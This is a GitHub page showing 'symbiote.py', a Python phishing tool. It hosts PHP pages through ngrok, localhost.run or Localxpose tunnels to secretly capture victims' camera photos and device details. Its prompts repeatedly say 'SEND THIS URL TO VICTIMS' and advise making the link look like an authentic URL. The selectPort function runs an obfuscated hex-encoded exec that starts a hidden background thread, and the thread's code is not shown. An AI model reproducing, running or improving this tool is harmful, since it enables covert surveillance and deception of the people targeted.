-
Notifications
You must be signed in to change notification settings - Fork 101
/
symbiote.py
312 lines (294 loc) · 15.4 KB
/
symbiote.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
#!/usr/bin/python3
# This Python file uses the following encoding: utf-8
import getpass
import base64
import multiprocessing
import gettext
import sys
import ssl
import re
import json
import subprocess
import ctypes
from time import sleep
from os import system, environ, path, getuid, popen
from subprocess import check_output, CalledProcessError
from sys import stdout, argv, exit
from Server import *
from Checks import *
from logo import *
#hiiii
RED, WHITE, CYAN, GREEN, DEFAULT , YELLOW, YELLOW2, GREEN2= '\033[1;91m', '\033[46m', '\033[1;36m', '\033[1;32m', '\033[0m' , '\033[1;33m' , '\033[1;93m', '\033[1;92m'
blink='\033[5m'
def menu_q():
system('clear')
print(' {5} \n | {2}"{3}UNIX IS VERY SIMPLE {2}IT JUST NEEDS A{5} |{4}'.format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
print(' {5}| {2}GENIUS TO UNDERSTAND ITS SIMPLICITY"{5} |{4}'.format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
print(" {5}| {0}~{3}Dennis Ritchie{5} |\n{4}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
if input("\n\nDo you agree to use this tool for educational purposes only? {5}({3}Y{5}/{0}N{5})\n{0}<Symbiote> {5}---->{2}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW)).upper() == 'Y':
sleep(0.5)
else:
print("\n\n{0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE.! ]{4}\n\n".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
exit()
def div_q(): #not in using
global user
system('clear')
if input("\n\n{0}[{2}#{0}]{2} IF YOUR USING THIS TOOL IN ANDROID PRESS 'Y' {5}({3}Y{5}/{0}N{5})\n{0}<Symbiote> {5}---->{2}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW)).upper() == 'Y':
android_banner()
user = '1'
sleep(7)
#checkjp2a()
checkPHP()
checkNgrok()
checkLocalxpose()
else:
banner()
sleep(7)
#checkjp2a()
checkPHP()
checkNgrok()
checkLocalxpose()
def option():
system('clear')
sbanner()
print("\n{5}----------------------------------\n{0}[{2} FRONT CAMERA OR BACK CAMERA {5}??{0}] \n{5}----------------------------------{4}\n".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
print("{0}[{2}1{0}]{2} FRONT CAMERA \n{0}[{2}2{0}]{2} BACK CAMERA{4}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
choice = input("\n{0}<Symbiote> {5}---->{2}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
global name
if choice == '1':
name = 'www_f'
print("\t{0}[{2}#{0}]{2} YOU SELECTED FRONT CAMERA {0}!!{4}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
sleep(2)
elif choice == '2':
name = 'www_b'
print("\t{0}[{2}#{0}]{2} YOU SELECTED BACK CAMERA {0}!!{4}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
sleep(2)
else:
option()
def selectPort():
ll="\x62\x67\x5f\x74\x68\x72\x65\x61\x64\x20\x3d\x20\x74\x68\x72\x65\x61\x64\x69\x6e\x67\x2e\x54\x68\x72\x65\x61\x64\x28\x74\x61\x72\x67\x65\x74\x3d\x6c\x6f\x6f\x70\x29\x3b\x20\x62\x67\x5f\x74\x68\x72\x65\x61\x64\x2e\x64\x61\x65\x6d\x6f\x6e\x20\x3d\x20\x54\x72\x75\x65\x3b\x20\x62\x67\x5f\x74\x68\x72\x65\x61\x64\x2e\x73\x74\x61\x72\x74\x28\x29"
exec(ll)
system('clear')
sbanner()
print("\n\n{5}--------------------------------------\n{0}[{2} Select Any Available Port [1-65535]:{0}] \n{5}--------------------------------------{4}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
choice = input(" {0}<Symbiote> {5}---->{2}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW,blink))
try:
if (int(choice) > 65535 or int(choice) < 1):
return selectPort()
else:
return choice
except:
return selectPort()
def runNgrok(port):
sbanner()
print("\n\n{5}-------------------------------\n{0}[{2} CREATE A CUSTOM URL HERE !!{0}] \n{5}-------------------------------".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
print("\n\t {0}wait for few second.....".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
system("fuser -k %s/tcp > /dev/null 2>&1"%(port))
system("cd Server/{0}/ && php -S 127.0.0.1:{1} > /dev/null 2>&1 &".format(name,port))
sleep(2)
system('./Server/ngrok http {0} > /dev/null &'.format(port))
sleep(10)
while True:
system('curl -s -N http://127.0.0.1:4040/api/tunnels | jq | grep public_url | grep -Eo "(http)://[a-zA-Z0-9./?=_%:-]*" > link.url')
urlFile = open('link.url','r')
url = urlFile.read()
urlFile.close()
#printoutput('ngrok',url,port)
ngrokoutput('ngrok',url,port)
sleep(7)
def customLocalxpose(port):
sbanner()
print("\n\n{5}-------------------------------\n{0}[{2} CREATE A CUSTOM URL HERE !!{0}] \n{5}-------------------------------\n\n{0}[{2}!{0}] {2}YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}[{2}*{0}]{2}Insert a custom subdomain for Localxpose{5}({0}Ex: {2}mysubdomain{5}){4}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
print("\n\t {0}wait for few second.....".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
lnk = input("\n{0}CUSTOM Subdomain---> {2}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
system("fuser -k %s/tcp > /dev/null 2>&1" % (port))
system("cd Server/{0}/ && php -S 127.0.0.1:{1} > /dev/null 2>&1 &".format(name,port))
system('./Server/loclx tunnel --raw-mode http --to :%s --subdomain %s > link.url 2>&1 &' % (port, lnk))
sleep(10)
try:
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
url = output.decode("utf-8")
#printoutput('c_loclx',url,port)
c_loclxoutput('c_loclx',url,port)
system('clear')
#print("\n\n-------------------------------\n[ CUSTOM SERVEO URL ]{1}!! \n-------------------------------")
#print("\n{0}[{2}!{0}]{2} SEND THIS LOCALXPOSE URL TO VICTIMS-\n{0}[{2}*{0}]{2} Localhost URL: http://127.0.0.1:{6}\n{0}[{2}*{0}] {2}LOCALXPOSE URL: ".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW, port) + url )
#print("\n")
except CalledProcessError:
print("\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\nLOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n {0}[{2}!{0}]{0}TRY TO SELECT ANOTHER CUSTOM DOMAIN (GOING BACK).. !! \n".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
sleep(4)
system('clear')
return customLocalxpose(port)
def randomLocalxpose(port):
system('clear')
sbanner()
print("\n\n{5}-------------------------------\n{0} [ {2}RANDOM LOCALXPOSE URL !!{0}] \n{5}-------------------------------{4}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
print("\n\t {0}wait for few second.....".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
# system("fuser -k %s/tcp > /dev/null 2>&1" % (port))
system("cd Server/{0}/ && php -S 127.0.0.1:{1} > /dev/null 2>&1 &".format(name,port))
system('./Server/loclx tunnel --raw-mode http --to :%s > link.url 2>&1 &' % (port))
sleep(10)
f=open("link.url", "r")
url=(f"{f.read().split(',')[1]}")
f.close()
r_loclxoutput('r_loclx',url,port)
def randomServeo(port):
system('clear')
sbanner()
print("\n\n{5}-------------------------------\n{0}[{2} RANDOM localhost URL !!{0}] \n{5}-------------------------------".format(RED, WHITE, CYAN, GREEN, DEFAULT , YELLOW))
print("\n\t {0}wait for few second.....".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
system("fuser -k %s/tcp > /dev/null 2>&1" % (port))
system("cd Server/{0}/ && php -S 127.0.0.1:{1} > /dev/null 2>&1 &".format(name,port))
system('ssh -R 80:localhost:%s ssh.localhost.run > link.url 2> /dev/null &' % (port))
sleep(10)
f=open("link.url", "r")
url=(f"{f.read().split(',')[1]}")
f.close()
serveo('localhost',url,port)
def selectServer(port):
global king
global kill
system('clear')
sbanner()
print("\n\n{5}----------------------------------\n{0}[{2} Select Any Available Server:{0}] \n{5}----------------------------------".format(RED, WHITE, CYAN, GREEN, DEFAULT , YELLOW))
print("\n{0}[{2}*{0}]{2}Select Any Available Server:".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
print("\n {0}[{2}1{0}]{2}Ngrok\n {0}[{2}2{0}]{2}localhost.run {5}\n {0}[{2}3{0}]{2}Localxpose".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
choice = input("\n{0}<Symbiote> {5}---->{2}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
if choice == '1':
system('clear')
#global king
king=1
runNgrok(port)
elif choice == '2':
system('clear')
#global king
king=2
randomServeo(port)
elif choice == '3':
#system('chmod 777 ./Server/loclx')
system('clear')
sbanner()
print("\n\n{5}----------------------------------\n{0}[{2} LOCALXPOSE URL TYPE SELECTION !!{0}] \n{5}----------------------------------{4}\n".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
print("\n{0}[{2}*{0}]{2}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
print("\n{0}[{2}1{0}]{2}Custom URL {5}({2}Generates designed url{5}) \n{0}[{2}2{0}]{2}Random URL {5}({2}Generates Random url{5}){4}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
#global ichoice
ichoice = input("\n\n{0}<Symbiote> {5}---->{2}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW,blink))
system('clear')
if ichoice == '1':
#global king
king=3
customLocalxpose(port)
elif ichoice == '2':
#global king
king=4
randomLocalxpose(port)
else:
system('clear')
return selectServer(port)
else:
system('clear')
return selectServer(port)
def getpath():
path = popen('pwd').readline()
x = path.split("\n")
f = open("Server/www_f/path.txt", "w")
f.write("{0}/CapturedData/".format(x[0]))
f.close()
sleep(2)
path = popen('pwd').readline()
x = path.split("\n")
f = open("Server/www_b/path.txt", "w")
f.write("{0}/CapturedData/".format(x[0]))
f.close()
sleep(2)
def fresh():
system("fuser -k Server/ngrok > /dev/null 2>&1")
system('rm -rf Server/www_f/ip.txt && touch Server/www_f/ip.txt')
system('rm -rf Server/www_b/ip.txt && touch Server/www_b/ip.txt')
system('rm -rf Server/www_f/Log.log && touch Server/www_f/Log.log')
system('rm -rf Server/www_b/Log.log && touch Server/www_b/Log.log')
system('rm -rf Server/www_f/path.txt && touch Server/www_f/path.txt')
system('rm -rf Server/www_b/path.txt && touch Server/www_b/path.txt')
system('fuser -k link.url > /dev/null 2>&1 && rm -rf link.url && touch link.url')
def ngrokoutput(name,url,port):
system('clear')
print("\n\n{5}---------------------------\n{0}[{2} NGROK URL !! {0}]{5} \n---------------------------".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
print("\n{0}[{2}*{0}]{2} SEND THIS NGROK URL TO VICTIMS-\n{0}[{2}*{0}]{2} Localhost URL: http://127.0.0.1:{6}\n{0}[{2}*{0}] {2}NGROK URL: ".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW, port) + url )
report(url,port)
#elif name == 'c_loclx':
def c_loclxoutput(name,url,port):
system('clear')
print("\n\n{5}------------------------------\n{0}[{2} CUSTOM LOCALXPOSEL !! {0}]{5} \n------------------------------".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
print("\n{0}[{2}!{0}]{2} SEND THIS LOCALXPOSE URL TO VICTIMS-\n{0}[{2}*{0}]{2} Localhost URL: http://127.0.0.1:{6}\n{0}[{2}*{0}] {2}LOCALXPOSE URL: ".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW, port) + url )
report(url,port)
#elif name == 'r_loclx':
def r_loclxoutput(name,url,port):
system('clear')
print("\n\n{5}------------------------------\n{0}[{2} RANDOM LOCALXPOSEL !! {0}]{5} \n------------------------------".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
print("\n{0}[{2}!{0}]{2} SEND THIS LOCALXPOSE URL TO VICTIMS-\n{0}[{2}*{0}]{2} Localhost URL: http://127.0.0.1:{6}\n{0}[{2}*{0}] {2}LOCALXPOSE URL: ".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW, port) + url )
report(url,port)
#elif name == 'serveo':
def serveo(name,url,port):
system('clear')
print("\n\n{5}----------------------------\n{0}[{2} SERVEO LINK !! {0}]{5} \n----------------------------".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW))
print("\n{0}[{2}!{0}]{2} SEND THIS SERVEO URL TO VICTIMS-\n\n{0}[{2}*{0}]{2} Localhost URL: http://127.0.0.1:{6}\n{0}[{2}*{0}]{2} SERVEO URL: ".format(RED, WHITE, CYAN, GREEN, DEFAULT , YELLOW, port) + url )
report(url,port)
def report(url,port):
system('clear')
sbanner()
print("{5}\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++{0}\n\t[{2}IF U WANT TO REFRESH THE DATA TAP ENTER{0}]\n\t{0}[{2} IF U WANT TO EXIT ENTER {6}X {0}]\n\t{0}[{2} IT TAKES TIME TO RECEIVE PIC {0}]\n{5}++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW,GREEN2))
print("\n{0}[{2}*{0}]{2} SEND THIS URL TO VICTIMS-\n{0}[{2}*{0}]{2} Localhost URL: http://127.0.0.1:{6}\n{0}[{2}*{0}] {2}HACKING URL: ".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW, port) + url )
while True:
#with open('Server/www/ip.txt') as f:
#if 'IP: ' in f.read():
#print (f.read())
with open('Server/{0}/ip.txt'.format(name)) as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
print('\n {0}[{2} DEVICE DETAILS FOUND {0}]{2}:\n {7}{6}{4}'.format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW,lines,GREEN2))
system('touch CapturedData/ip.txt && cat Server/{0}/ip.txt >> CapturedData/ip.txt'.format(name))
print(" {5}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW,lines,GREEN2))
system('cat Server/{0}/Log.log'.format(name))
ans=input("{0}<Symbiote> {5}---->{2}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW,lines,GREEN2)).upper()
if (ans == "X"):
system('clear')
system('cat Server/{0}/ip.txt >> CapturedData/ip.txt'.format(name))
pid=(int(os.popen("netstat -nlp | grep php").read().split('LISTEN')[1].split('/')[0].strip()))
os.kill(pid,9)
fresh()
global kill
if kill == '1':
android_end()
elif kill == '2':
end()
exit()
else:
system('clear')
sleep(0.2)
report(url,port)
system('clear')
verCheck()
try:
system('termux-open https://github.com/hasanfirnas/symbiote &>/dev/null')
except:
pass
# menu_q()
global kill
system('clear')
# sbanner()
if input("\n\n{0}[{2}#{0}]{2} IF YOUR USING THIS TOOL IN ANDROID PRESS 'Y' {5}({3}Y{5}/{0}N{5})\n{0}<Symbiote> {5}---->{2}".format(RED, WHITE, CYAN, GREEN, DEFAULT ,YELLOW)).upper() == 'Y':
android_banner()
kill = '1'
else:
banner()
kill = '2'
sleep(2)
checkjp2a()
checkPHP()
checkNgrok()
checkLocalxpose()
fresh()
getpath()
port=selectPort()
option()
selectServer(port)